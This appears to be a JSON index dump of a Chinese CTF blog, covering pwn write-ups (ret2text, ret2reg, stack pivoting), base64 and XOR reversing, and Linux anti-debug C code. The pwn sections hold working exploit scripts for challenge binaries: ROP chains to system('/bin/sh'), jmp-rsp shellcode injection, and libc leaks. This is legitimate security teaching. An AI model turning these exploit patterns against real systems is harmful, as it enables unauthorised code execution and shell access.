<__FRAME_END__+0x2dcd>\n\n向右偏移1字节,地址为:0x400541\n通过栈溢出返回到plt表system函数,并且通过gadget将字节码地址弹入rdi寄存器。执行函数获取shell\n通过 ROPgadget 搜索 gadget\n➜ ROPgadget --binary ./shell --only "pop|ret"Gadgets information============================================================0x00000000004005dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004005de : pop r13 ; pop r14 ; pop r15 ; ret0x00000000004005e0 : pop r14 ; pop r15 ; ret0x00000000004005e2 : pop r15 ; ret0x00000000004005db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret0x00000000004005df : pop rbp ; pop r14 ; pop r15 ; ret0x00000000004004b8 : pop rbp ; ret0x00000000004005e3 : pop rdi ; ret0x00000000004005e1 : pop rsi ; pop r15 ; ret0x00000000004005dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret0x0000000000400416 : ret\n\n拿到pop_rdi和ret。\n接下来根据以上信息构造exp。\n exp\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfsh=0x400541sys=elf.plt.systemoff=0x18rdi=0x00000000004005e3ret=0x0000000000400416payload=off*b'a'+p64(rdi)+p64(sh)+p64(ret)+p64(sys)sa("it?\\n",payload)ia()\n\n后言如果你要问,程序中没有system函数怎么办?\n这已经不属于 ret2text 的范畴了。\n\n参考链接:PWN中64位程序的堆栈平衡\n\n","categories":["pwn"],"tags":["ROP"]},{"title":"ret2reg","url":"/2024/10/24/pwn/ret2reg/","content":"利用原理ret2reg,即返回到寄存器地址进行攻击,可以绕过地址混淆(ASLR)。\n一般用于开启ASLR的ret2shellcode题型,在函数执行后,传入的参数在栈中传给某寄存器,然而该函数在结束前并未将该寄存器复位,就导致这个寄存器仍还保存着参数,当这个参数是shellcode时,只要程序中存在jmp/call reg代码片段时,即可通过gadget跳转至该寄存器执行shellcode。\n该攻击方法之所以能成功,是因为函数内部实现时,溢出的缓冲区地址通常会加载到某个寄存器上,在后来的运行过程中不会修改。\n\n只要在函数ret之前将相关寄存器复位掉,便可以避免此漏洞。\n\n利用思路\n主要在于找到寄存器与缓冲区地址的确定性关系,然后从程序中搜索call reg/jmp reg这样的指令\n\n\n分析和调试程序,查看溢出函数返回时哪个寄存值指向传入的shellcode\n查找call reg或jmp reg,将指令所在的地址填到EIP位置,即返回地址\n在reg指向的空间上注入shellcode\n\n例题\nrsp_shellcode\n\n源代码\n#include <stdio.h>int test = 0;int main() { char input[100]; puts("Get me with shellcode and RSP!"); gets(input); if(test) { asm("jmp *%rsp"); return 0; } else { return 0; }}\n\n\n查保护\n\n没有NX和canary以及PIE保护,即栈可执行。\nArch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments\n\n\n\n分析\n\n分析源代码发现很明显的栈溢出漏洞,并且溢出字节没有限制。\n源代码中还内嵌了一个jmp rsp的汇编指令,猜测要通过ret2reg的方式打shellcode。\ngdb调试发现在函数返回的时候rsp仍然指向缓冲区地址。\n这样我们可以通过将返回地址即下面这条指令的地址覆盖为jmp rsp来让rip指向缓冲区,然后我们再发送shellcode让程序执行shellcode。\n先执行jmp rsp再发送shellcode是因为程序可以溢出很长的字节,我们可以先将rip指向缓冲区然后再发送shellcode执行。\n*RSP 0x7fffffffcd78 —▸ 0x7ffff7da8d90 (__libc_start_call_main+128) ◂— mov edi, eax\n\n\nexp\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elf#查找程序gadgetjmp_rsp = next(elf.search(asm('jmp rsp')))payload = flat( b'a' * 120, jmp_rsp, asm(shellcraft.sh()) )sla("RSP!\\n",payload)ia()\n\n\nX-CTF Quals 2016 - b0verfl0w\n\n\n查保护\n\n32位程序无NX、canary以及PIE保护,栈可执行。\nArch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments\n\n\n分析\n\nida反编译\n程序限制读取50个字节,所以我们只能溢出18个字节,所以并不能进行上题的利用方法。\nint vul(){ char s[32]; // [esp+18h] [ebp-20h] BYREF puts("\\n======================"); puts("\\nWelcome to X-CTF 2016!"); puts("\\n======================"); puts("What's your name?"); fflush(stdout); fgets(s, 50, stdin); printf("Hello %s.", s); fflush(stdout); return 1;}\n\ngdb动调调试发现rsp指向缓冲区。\n*ESP 0xffffbe4c —▸ 0x8048519 (main+11) ◂— leave\n\n我们无法直接返回执行很长的shellcode,但是可以通过较短的汇编指令将栈帧进行一个迁移。\n迁移到一个我们想要它执行的地方,比如payload的前部分。\n\nexp\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfshellcode=asm("""push 0x68732fpush 0x6e69622fmov ebx,espxor ecx,ecxpush 11pop eaxint 0x80""")jmp_esp = next(elf.search(asm('jmp esp')))payload = shellcode + (0x20 - len(shellcode)) * b'a' + b'aaaa' + p32(jmp_esp) + asm('sub esp, 0x28;jmp esp')sl(payload)ia()\n\n\n[广东省大学生攻防大赛 2022]jmp_rsp\n\n64位程序无NX、PIE保护,栈可执行。\n程序显示存在canary保护。\n\n查保护\n\nArch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x400000) Stack: Executable RWX: Has RWX segments\n\n\n分析\n\nida反编译查看main函数。\n发现程序存在栈溢出,并且程序并没有进行canary检查。\n所以这个canary是假的。\nint __fastcall main(int argc, const char **argv, const char **envp){ char v3; // cl char buf[128]; // [rsp+0h] [rbp-80h] BYREF printf("this is a classic pwn", argv, envp, v3); read(0, buf, 0x100uLL); return 0;}\n\ngdb动调调试发现rsp指向栈空间。\n同样,让rsp进行一个迁移即可。\n*RSP 0x7fffffffcf68 —▸ 0x401119 (__libc_start_main+777) ◂— mov edi, eax\n\n\nexp\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfjmp_rsp = next(elf.search(asm('jmp rsp')))payload = asm(shellcraft.sh()).ljust(0x88, b'\\x00') + p64(jmp_rsp) + asm('sub rsp, 0x90; jmp rsp')sl(payload)ia()\n\n\nciscn_2019_s_9\n\n\n查保护\n\n几乎没保护,可以尝试打shellcode。\n➜ checksec ./ciscn_s_9 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing PIE: No PIE (0x8048000) Stack: Executable RWX: Has RWX segments\n\n\n分析\n\n分析main函数\n发现关键函数pwn,进入查看。\nint __cdecl main(int argc, const char **argv, const char **envp){ return pwn();}\n\n分析函数发现,fgets向变量s从标准输入流读取了50个字符,所以存在栈溢出。\n溢出了18个字节。\nint pwn(){ char s[24]; // [esp+8h] [ebp-20h] BYREF puts("\\nHey! ^_^"); puts("\\nIt's nice to meet you"); puts("\\nDo you have anything to tell?"); puts(">"); fflush(stdout); fgets(s, 50, stdin); puts("OK bye~"); fflush(stdout); return 1;}\n\ngdb动态调试发现,在pwn函数返回时esp是指向栈顶的。\n而且我们在函数表中发现了jmp rsp指令,所以接下来的思路就很清晰了。\n通过ret2reg打shellcode\n但是我们只溢出了18个字节,并不足够写shellcode。\n但是我们可以通过jmp esp执行sub esp指令来将栈进行一个迁移,然后执行我们的shellcode。\npwndbg>0x08048550 20 in pwn.cLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA───────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────────────────── EAX 1 EBX 0xf7fa0000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac ECX 0x6c0 EDX 0xf7fa19b4 (_IO_stdfile_1_lock) ◂— 0 EDI 0xf7ffcb80 (_rtld_global_ro) ◂— 0 ESI 0xffffc364 —▸ 0xffffc534 ◂— 0x746e6d2f ('/mnt')*EBP 0xffffc298 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0*ESP 0xffffc28c —▸ 0x804856f (main+22) ◂— add esp, 4*EIP 0x8048550 (pwn+149) ◂— ret─────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────────────────── 0x8048541 <pwn+134> push eax 0x8048542 <pwn+135> call fflush@plt <fflush@plt> 0x8048547 <pwn+140> add esp, 0x10 ESP => 0xffffc260 (0xffffc250 + 0x10) 0x804854a <pwn+143> mov eax, 1 EAX => 1 0x804854f <pwn+148> leave ► 0x8048550 <pwn+149> ret <main+22>─────────────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────────────00:0000│ esp 0xffffc28c —▸ 0x804856f (main+22) ◂— add esp, 401:0004│-008 0xffffc290 ◂— 102:0008│-004 0xffffc294 —▸ 0xffffc2b0 ◂— 103:000c│ ebp 0xffffc298 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 004:0010│+004 0xffffc29c —▸ 0xf7d97519 (__libc_start_call_main+121) ◂— add esp, 0x1005:0014│+008 0xffffc2a0 —▸ 0xffffc534 ◂— 0x746e6d2f ('/mnt')06:0018│+00c 0xffffc2a4 ◂— 0x70 /* 'p' */07:001c│+010 0xffffc2a8 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c───────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────── ► 0 0x8048550 pwn+149 1 0x804856f main+22 2 0xf7d97519 __libc_start_call_main+121 3 0xf7d975f3 __libc_start_main+147 4 0x80483e1 _start+33────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg>\n\n\nexp\n\n#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elfjmp_esp = next(elf.search(asm('jmp esp')))shellcode=b"\\x6a\\x0b\\x58\\x99\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\xcd\\x80"payload = shellcode + (36 - len(shellcode)) * b'a' + p32(jmp_esp) + asm('sub esp,40;jmp esp')r()sl(payload)ia()\n\n后言\n参考链接:Using RSP | Cybersec (gitbook.io)\n\n","categories":["pwn"],"tags":["ROP"]},{"title":"ret2syscall","url":"/2024/10/24/pwn/ret2syscall/","content":"[MoeCTF 2022]syscall\n[WUSTCTF 2020]getshell2\n[CISCN 2023 初赛]烧烤摊儿\n[LitCTF 2023]ezlogin\n","categories":["pwn"],"tags":["ROP"]},{"title":"ret2shellcode","url":"/2024/10/24/pwn/ret2shellcode/","content":"","categories":["pwn"],"tags":["ROP"]},{"title":"ret2VDSO","url":"/2024/10/24/pwn/ret2vdso/","content":"","categories":["pwn"],"tags":["ROP"]},{"title":"栈迁移","url":"/2024/10/24/pwn/stack_pivoting/","content":"原理栈迁移是一种通过劫持程序栈指针(ESP 和 EBP)来绕过缓冲区限制的技术,常用于栈溢出攻击中。当缓冲区空间有限无法直接控制执行流时,栈迁移能够扩展攻击范围,通过迁移栈到可控的内存区域来实现更复杂的攻击。\n 核心概念\n\nEBP(栈帧寄存器):每次函数调用时,EBP用于维护栈帧结构。通过修改EBP指向攻击者可控的区域,函数栈空间也会发生改变。\nESP(栈指针寄存器):ESP指向栈顶,控制其地址后可以改变程序执行流,通常栈迁移会将其劫持到一个无需长度限制的区域,比如 bss 段。\n\n 使用场景栈迁移主要用于缓冲区溢出攻击中的特殊情况:\n\n缓冲区较小:当溢出的空间只能覆盖到两个字长的栈内容时,栈迁移可以帮助攻击者突破限制,扩展控制范围。\n受限输入:当攻击者可输入的数据长度不足以直接覆盖 EIP 时,通过栈迁移可以进一步获得对程序的控制。\n\n 操作流程\n\n覆盖 EBP 和 EIP:通过缓冲区溢出将栈帧寄存器(EBP)覆盖,使得函数调用时栈帧指向攻击者控制的区域。\n调用 leave; ret gadget:leave 指令会将 EBP 的值赋给 ESP,使得栈指针迁移到新的区域,随后通过 ret 指令恢复执行流。 \nleave 指令:mov esp, ebp 和 pop ebp,使 ESP 和 EBP 同时被控制。\nret 指令:跳转到新的返回地址,这通常是由攻击者精心设计的 ROP 链。\n\n\n执行 ROP 链:在新栈区域中,攻击者可以通过 ROP(Return-Oriented Programming)链进行任意代码执行。\n\n 实际应用栈迁移常常通过将 EBP 和 ESP 指向 bss 段等长度不受限制的内存区域,使得攻击者可以操作更多的栈空间。通过 leave; ret gadget,有效利用溢出的少量字节数来改变程序执行逻辑,从而实现进一步的利用。\n 优化策略\n\n选择合适的栈迁移目标区域:bss 段是常见的迁移目标,它通常没有长度限制且可读写,适合存储 ROP 链。\n**精确利用 leave; ret**:利用好这两个指令可以确保栈指针成功迁移,并让攻击者在迁移后的控制区域继续执行代码。\nROP 链灵活设计:根据不同场景设计和优化 ROP 链,确保在栈迁移后能够顺利控制程序的后续执行。\n\n栈迁移技术扩展了攻击者的控制范围,是解决栈空间不足问题的有效手段,在实际安全研究和攻击中广泛应用。\n\nleave == mov esp,ebp; pop ebp;ret == pop eip\n\n通用模板记忆\n第一次栈迁移进行rbp修改让下次输入指向我们需要的地方第二次栈迁移修改rsp让程序正常第三次正常rop构造第四次等同第一次第五次getshell rop链\n\npadding+p64(fake_stack)+p64(leave)\n\n栈上迁移栈上栈迁移的重点是要泄露栈帧\n\n[HDCTF 2023]KEEP ON\n\nexp\n#!/usr/bin/python3from pwncli import *cli_script()io=gift["io"]elf=gift["elf"]format=b"%16$p"sa(b"name: \\n",format)ru(b"hello,")leak_ebp=int(r(14),16)success(hex(leak_ebp))target=leak_ebp-0x60-8leave=0x4007f2rdi=0x00000000004008d3sys=elf.plt.systemsh=target+32payload=p64(rdi)+p64(sh)+p64(sys)+b"/bin/sh\\x00"payload=payload.ljust(80,b"a")+p64(target)+p64(leave)sa("keep on !\\n",payload)ia()\n\n\n\n[CISCN 2019东南]PWN2]\n\nexp\n#!/usr/bin/python3from pwncli import *cli_script()io=gift["io"]elf=gift["elf"]context.arch="i386"sa(b"name?\\n",b'a'*(0x28-1)+b'b')ru(b"aaab")#泄露的ebp地址leak_ebp=u32(ru(b"\\xff"))off=0x38leave=0x8048593#payload开始地址target=leak_ebp-off-0x4sh=leak_ebp-off+0xcpayload=p32(elf.plt.system)+p32(elf.sym._start)+p32(sh)+b"/bin/sh\\x00"payload=payload.ljust(0x28,b'a')+p32(target)+p32(leave)s(payload)ia()\n\n迁移到bss段例题\n2024 羊城杯 pstack\n\nexp\n#!/usr/bin/python3from pwncli import *cli_script()io=gift["io"]elf=gift["elf"]libc=ELF("./libc.so.6")context.arch=elf.archrdi=0x0000000000400773ret=0x0000000000400506 leave_ret=0x4006dbbss=elf.bss()+0x500vuln=0x4006c4rbp=0x4005b0puts_got=elf.got.putsputs_plt=elf.plt.putspay1=b'a'*0x30+p64(bss+0x30)+p64(vuln)s(pay1)pay2=p64(rdi)+p64(puts_got)+p64(puts_plt)pay2+=p64(rbp)+p64(bss+0x200+0x30)+p64(vuln)pay2+=p64(bss-8)+p64(leave_ret)s(pay2)ru(b"flow?\\n")puts_addr=u64(ru(b"\\x7f")[-6:].ljust(8,b'\\x00'))base=puts_addr-libc.sym.putssys=base+libc.sym.systemsh=base+libc.search("/bin/sh\\x00").__next__()pay3=(p64(rdi)+p64(sh)+p64(sys)).ljust(0x30,b'\\x00')pay3+=p64(bss+0x200-0x8)+p64(leave_ret)s(pay3)ia()\n\n\n[NSSRound#14 Basic]rbp\n\n\n[HNCTF 2022 WEEK2]pivot\n\n\n[HGAME 2023 week1]orw\n\n\n[CISCN 2019华南]PWN4\n\n\n[HDCTF 2023]Minions\n\n\n[HDCTF 2023]Makewish\n\n\n[强网杯 2022]devnull\n\n\n[MTCTF 2021]babyrop]\n\n\n[SCTF 2022]Secure Horoscope\n\n后言\n参考链接: https://ctf-wiki.org/参考链接:PWN入门(2-2-1)-栈迁移(x86) (yuque.com)\n\n","categories":["pwn"],"tags":["花式栈溢出"]},{"title":"花指令分析","url":"/2024/10/24/rev/flower-code/","content":"","categories":["reverse"],"tags":["混淆"]},{"title":"base64逆向加密算法分析","url":"/2024/10/24/rev/base64/","content":"简介base64编码根据编码表将一段二进制数据映射成64个可显示字母和数字组成的字符集合,主要用于传送图形、声音等非文本数据。\n标准 base64 编码表\n编码原理原理下面我们通过将明文 “abc” 进行 base64 编码来讲解 base64 编码原理。\n1.首先将明文每三个字节分为一组,每个字节8bit,共24bit。\n\n2.将24bit划分为四组,每组6bit,4组共24bit\n\n3.将每组用0补齐为8bit,4组共32bit。\n黄色部分就是补齐的0。\n将补齐后的二进制数的十进制值作为编码表的下标获取编码表中的对应值。\n\n编码结果就是 “YWJj”\n如果编码后的字符不是4的倍数,后面用 “=” 填充补齐。\n代码实现//定义一个常量指针指向一个常量字符串const char * const table="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"//data是用于指向需要编码的常量数据的指针//base64指针指向一块内存用于存储编码后的basse64字符串//length是输入数据的长度char * encode( const unsigned char * data, char * base64, int length ){ //用于遍历输入数据和base64字符 int i, j; //用于存储当前处理的字符 unsigned char current; //循环遍历输入数据,每次处理3个字节 for ( i = 0, j = 0 ; i < length ; i += 3 ){ //获取第一个字节的前六位 current = (data[i] >> 2) ; //与0x3f进行按位与操作,取字节前6位\t\t//0x3f=00111111 current &= (unsigned char)0x3F; //使用编码表数组将结果映射为base64字符,并将结果存储在输出指针中 base64[j++] = table[(int)current]; //将第一个字节左移4位,与0x30按位与,取其后2位\t //0x30=00110000 current = ( (unsigned char)(data[i] << 4 ) ) & ( (unsigned char)0x30 ) ; //如果没有第二个(即输入长度不足2个字节),则直接填充“=”字母并返回 if ( i + 1 >= length ) { base64[j++] = table[(int)current]; base64[j++] = '='; base64[j++] = '='; break; } //第二个字节右移4位,取其前4位,与之前第一个字节后两位合并 //00110000 //或 //00001111 current |= ( (unsigned char)(data[i + 1] >> 4) ) & ( (unsigned char) 0x0F ); //将结果映射到base64编码表,并存储到返回指针 base64[j++] = table[(int)current]; //将第二个字节左移2位,与0x3c按位与取其后四位 //00111100 current = ( (unsigned char)(data[i + 1] << 2) ) & ( (unsigned char)0x3C ) ;\t\t//如果没有第三个字节,则填充=号并返回 if ( i + 2 >= length ) { base64[j++] = table[(int)current]; base64[j++] = '='; break; }\t\t//将第三个字节右移6位,取其前2位,与之前的结果合并 current |= ( (unsigned char)(data[i + 2] >> 6) ) & ( (unsigned char) 0x03 ); //将结果映射到编码表,并存储到返回指针 base64[j++] = table[(int)current]; //将第三个字节与0x3f进行按位与操作,取其后六位 current = ( (unsigned char)data[i + 2] ) & ( (unsigned char)0x3F ) ; //将结果转换为base64字符,并存储到返回指针 base64[j++] = table[(int)current]; } //拼接上字符串结束字符 base64[j] = '\\0'; //将存储密文的指针返回 return base64;}\n\n\n解码原理原理解码就是编码的逆过程。\n获取密文 “YWJI” 每一个字符在 base64 编码表中的下标。\n然后将这些下标对应的值的二进制值连接起来,重新划分为8位为一组。\n之后转换为每字节对应的ASCII码即可得到编码的内容。\n在CTF比赛中一般都是以python编写解密脚本。\n代码实现//参数1:base64密文//参数2:解密后的明文int decode( const char * base64, unsigned char * data ){ int i, j; //用于遍历base64编码表的变量 unsigned char k; //用于存储遍历的字节 unsigned char temp[4]; //循环遍历base64字符串,一次遍历4个字节 for ( i = 0, j = 0; base64[i] != '\\0' ; i += 4 ) { memset( temp, 0xFF, sizeof(temp) ); for ( k = 0 ; k < 64 ; k ++ ) { if ( table[k] == base64[i] ) temp[0] = k; } for ( k = 0 ; k < 64 ; k ++ ) { if ( table[k] == base64[i + 1] ) temp[1] = k; } for ( k = 0 ; k < 64 ; k ++ ) { if ( table[k] == base64[i + 2] ) temp[2] = k; } for ( k = 0 ; k < 64 ; k ++ ) { if ( table[k] == base64[i + 3] ) temp[3] = k; }\t\t//将密文的前两个字符解码为原始数据的第一个字节 data[j++] = ((unsigned char)(((unsigned char)(temp[0] << 2)) & 0xFC)) | ((unsigned char)((unsigned char)(temp[1] >> 4) & 0x03)); //如果第三个字节为=号填充符,就返回 if ( base64[i + 2] == '=' ) break;\t\t//将密文的第二个字符和第三个字符解码为原始数据的第二个字节 data[j++] = ((unsigned char)(((unsigned char)(temp[1] << 4)) & 0xF0)) | ((unsigned char)((unsigned char)(temp[2] >> 2) & 0x0F)); //如果第四个字节为=号填充符,就返回 if ( base64[i + 3] == '=' ) break; \t\t//将密文的第三个字符和第四个字符解码为原始数据的第三个字节 data[j++] = ((unsigned char)(((unsigned char)(temp[2] << 6)) & 0xF0)) | ((unsigned char)(temp[3] & 0x3F)); } //返回解码后的数据长度 return j;}\n\n逆向中的base64特征识别\n字符串编码表识别\n加密填充符识别(一般为=号)\nbit:3 * 8变4 * 6\n输入参数会被移位拼接,移位位数为 2、4、6位,将3字节拆成4字节\n理解编码原理,编码时通常都会用3个字节一组来处理比特位数据,这些特征都可以用来分析识别。\n\n\n移位运算中左移1位等于乘以2,右移1位等于除以2\n\n\n常规魔改:编码表(TLS、SMC等各种反调试位置)\n魔改1.修改编码表2.修改下标将base64的编码查表下标对应关系修改,对于这种修改,我们只需要推导出下标逆计算即可。\n例题常规\nBUUCTF-reverse3\n\n拿到程序查壳,发现无壳\n之后运行一下,随意输入一串字符判定为字符串比较\n\nida打开分析一下,发现主函数中只调用了一个main_0函数\n进入查看\n先将函数和变量改一下名,提高代码可读性。\n·sub_41132f用于显示字符串,判断为printf利用快捷键n改名为printfsub_411375根据其后参数判定为scanf,用于向str数组输入最多20个字符。将其函数改为scanf,将str数组改为input。j_strlen函数判断为获取字符串长度的函数strlen,将获取结果的变量v3改为input_length便于阅读。\n可以看到函数sub_4110be对我们输入的数据进行了处理无法判断函数sub_4110be的功能,所以进入查看。\n发现调用了一个函数,继续进入查看\n分析主要代码逻辑\n进行了很多移位拼接操作,很明显的base64加密\n更简单的方法是打开字符串窗口查看一下\n\n发现base64编码表字符串,判断为base64加密\n所以sub_4110be为加密函数,变量v4为返回的密文。根据逻辑重命名一下\n接下来继续分析\nstrncmp函数将密文复制0x28个字节到destination中\n接下来计算密文长度\n然后对密文做了移位运算\n然后获取运算后的密文长度\n通过strncmp函数对密文和str2变量比较密文长短的内容\n如果相等则输入flag正确\n所以str2就是加密后的密文\n\n我们通过密文和加密逻辑逆向构造exp。\nexp通过python的base64库来构造解密exp\nimport base64#密文s="e3nifIH9b_C@n@dH"flag=""for i in range(len(str)): flag+=chr(ord(str[i])-i)print(base64.b64decode(flag))#flag{i_l0ve_you}\n\n\n换表\nBUUCTF 特殊的 BASE64\n\n原理换表就是将映射的编码表修改掉,但是加密过程是仍然不变的。前面讲过base64编码最关键的点在于根据值取编码表中的下标对应的字符。魔改编码表同样如此,所以我们可以获取密文在魔改编码表中的下标。然后获取下标在原编码表中的值之后。再进行常规解密。\n拿到程序后一般流程查壳,发现无壳\nida打开分析,发现为c++程序\n先查看一下字符串表\n第一行是很明显的base64编码字符串\n选中那行可能就是魔改后的编码表\n分析main函数代码逻辑\n\n根据前面发现的魔改编码表则使用常规解密的方法一定是不行的,所以我们必须换种方法。\n在构造exp之前还是先看一下加密函数\n分析base64加密函数\n发现在初始化a1的时候用的是unk_489084,进入查看一下\n发现为字符串窗口查看到的字符串,则确实为换表加密。\n根据逻辑构造exp\nexp\nimport base64import string#密文enc = "mTyqm7wjODkrNLcWl0eqO8K8gc1BPk1GNLgUpI=="#魔改后的编码表table1 = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0987654321/+"#原编码表table2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"#将密文映射为原编码表a=enc.translate(str.maketrans(table1,table2))print(base64.b64decode(a).decode())#flag{Special_Base64_By_Lich}\n\n\n后言\n参考链接:彻底弄懂base64的编码与解码原理 - 掘金 (juejin.cn)参考链接:reverse逆向算法之base64和RC4_base64”和 rc4-CSDN博客\n\n","categories":["reverse"],"tags":["加密算法"]},{"title":"逆向中的基本加密算法","url":"/2024/10/24/rev/base/","content":"偏移原理偏移加密主要是基于ASCII码表的偏移加密。\n我们都知道在C语言中字符按照ASCII码表进行编码。\n偏移加密即是将明文对应的ASCII码进行加或减去一个值(偏移),取最后结果在ASCII码表中的值。\n通过将偏移加密的密文再反向偏移,最后的值转换为字符就可得到明文。\n例题\n[SWPUCTF 2021 新生赛]re2\n\n\n思路\n\n常规流程,先exeinfo查壳。\n发现为64位程序并且无壳。\n\n程序运行一下,随意输入报错。\n判断程序内部存在字符串比较。\n\nida打开分析\n\n根据代码逻辑利用快捷键n给函数和变量重命名,使其便于阅读。\n\nstrcpy函数将一串字符复制进定义的str数组中。\n然后输出提示输入flag。\ngets函数获取输入并将输入存入input数组\nstrlen函数获取输入长度并将其存入len变量。\nfor循环根据输入字符串长度为循环条件,对字符进行遍历处理。\nstrcmp将处理后的输入字符串与str数组进行比较。\n相同则输出right,不同则输出wrong\n所以str就是密文,我们需要根据字符加密逻辑代码对它进行逆运算。\n分析加密代码,将所有非a、b和A、B字符进行ASCII码减2加密。其他字符进行加24加密。\n\n根据思路构造exp\n\nexp\n\n#include<stdio.h>#include<string.h>int main(){ char str[]={"ylqq]aycqyp{"}; int n=0; n=strlen(str); for(int i=0;i<n;i++){ if((str[i]<=94 || str[i] >96 )&&(str[i]<=62 || str[i]>64)) str[i] += 2; else str[i] -= 24; } printf("%s\\n",str); return 0; } //{nss_c{es{r}\n\n\n异或原理异或运算是一个二元运算,运算符为 ^\n异或的性质:\n\n明文 ^ 密钥 = 密文\n密文 ^ 密钥 = 明文\n\n对于异或运算而言,它的逆运算就是本身。\n例题\n[HNCTF 2022 Week1]X0r\n\n思路\n下载附件\n先运行一下\n\n提示输入flag,随意输入报错。\nida打开分析\n分析代码逻辑\n将内容输入到str字符数组中,如果输入内容的长度不等于22则报错。\nfor循环循环22次,if判断条件对字符进行处理。\nstr[i]异或0x34再加上900如果不等于arr[i]字符则输出flag错误。\n查看arr数组内容\n所以我们需要让条件判断不成立,即让arr[i]等于运算结果。\n根据异或运算的原理,密文异或密钥等于明文。我们可以将运算中要用到的内容(如0x34,900)看作是密钥,很明显arr[i]就是密文。\n所以我们只要根据密文和密钥求出明文即可。只需要对运算逻辑进行逆运算即可。\n接下来提取密文的内容将光标放在数组名处,通过shfit+e将数据提取出来这里选择 initialized c variable(初始化的c变量)提取。可以直接提取原数据类型的值。\n\n接下来直接复制内容粘贴到脚本里。\n用python编写的话,将C语言数组格式写成python列表格式。\n\n根据代码逻辑进行逆运算构造exp\nexp\ndata=[1022,1003,1003,1019,996,1014,979,976,904,970,1007,905,971,1007,971,904,1007,981,985,971,977,973,0,0,0,0,0,0,0,0,0,0]flag=""#循环为22,所以我们只取22个数据for i in range(0,22):#chr函数是将结果转换为ASCII编码\tflag+=chr((data[i]-900)^0x34)print(flag)#结果:NSSCTF{x0r_1s_s0_easy}\n\n\n","categories":["reverse"],"tags":["加密算法"]},{"title":"linux反调试","url":"/2024/10/25/rev/linux-anti-debug/","content":"反调试技术是为了防止调试器对程序进行调试和逆向工程。在 Linux 环境中,反调试技术主要利用系统调用、信号处理以及特殊的汇编指令来实现。\n接下来我们介绍一下 Linux 下常见的反调试技术。\n利用getppid在Linux上要跟踪一个程序,必须是它的父进程才能做到,因此,如果一个程序的父进程不是意料之中的bash等(而是gdb,strace之类的),那就说明它被跟踪。\n只能检测到gdb调试\n#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <fcntl.h>#include <string.h>int get_name_by_pid(pid_t pid, char *name) { int fd; char buf[1024] = {0}; snprintf(buf, sizeof(buf), "/proc/%d/cmdline", pid); if ((fd = open(buf, O_RDONLY)) == -1) { return -1; } ssize_t bytesRead = read(fd, buf, sizeof(buf) - 1); close(fd); // Close file descriptor if (bytesRead < 0) { return -1; // Handle read error } buf[bytesRead] = '\\0'; // Ensure null-terminated strncpy(name, buf, 1023); name[1023] = '\\0'; // Ensure null-terminated return 0;}int main(int argc, char *argv[]) { char name[1024]; pid_t ppid = getppid(); if (get_name_by_pid(ppid, name) != 0) { perror("Failed to get process name"); return EXIT_FAILURE; } if (strcmp(name, "bash") == 0 || strcmp(name, "init") == 0) { printf("OK!\\n"); } else if (strcmp(name, "gdb") == 0 || strcmp(name, "strace") == 0 || strcmp(name, "ltrace") == 0) { printf("Traced!\\n"); } else { printf("Unknown traced\\n"); } return EXIT_SUCCESS;}\n\n利用session id不论程序是否被调试器跟踪,session id是不变的,而ppid会变。\n#include <stdio.h>#include <stdlib.h>#include <unistd.h>int main(){ if(getsid(getpid())!=getppid()){ puts("debugging"); exit(0); } puts("not debugging"); return 0;}\n\n\nptrace系统调用一个进程只能被一个进程ptrace,如果你自己调用ptarace,这样其它程序就无法通过ptrace调试(或者向你的程序进程注入代码)\n如果进程已经被调试器跟踪了还再调用ptrace就不会成功。\nptrace的处理要么就是让它不执行,要么就是直接将其nop掉。\n使用ptrace可以检测是否有其他进程在调试当前进程。具体方法是尝试用ptrace附加到自身,如果成功则说明没有被调试。\n #include <sys/ptrace.h>#include <unistd.h>#include <stdio.h>#include <stdlib.h>int main(int argc, char *argv[]){ if(ptrace(PTRACE_TRACEME,0,1,0)==-1){ printf("debugger\\n"); exit(0); } printf("No debugger\\n"); return 0;}\n\n检测父进程只能检测到gdb\n通过读取父进程的命令行信息,检测当前程序是否在调试器下运行。\n#include <stdio.h>#include <string.h>int main(int argc, char *argv[]) { char buf1[0x20], buf2[0x100]; FILE* fp; snprintf(buf1, 24, "/proc/%d/cmdline", getppid()); fp = fopen(buf1, "r"); 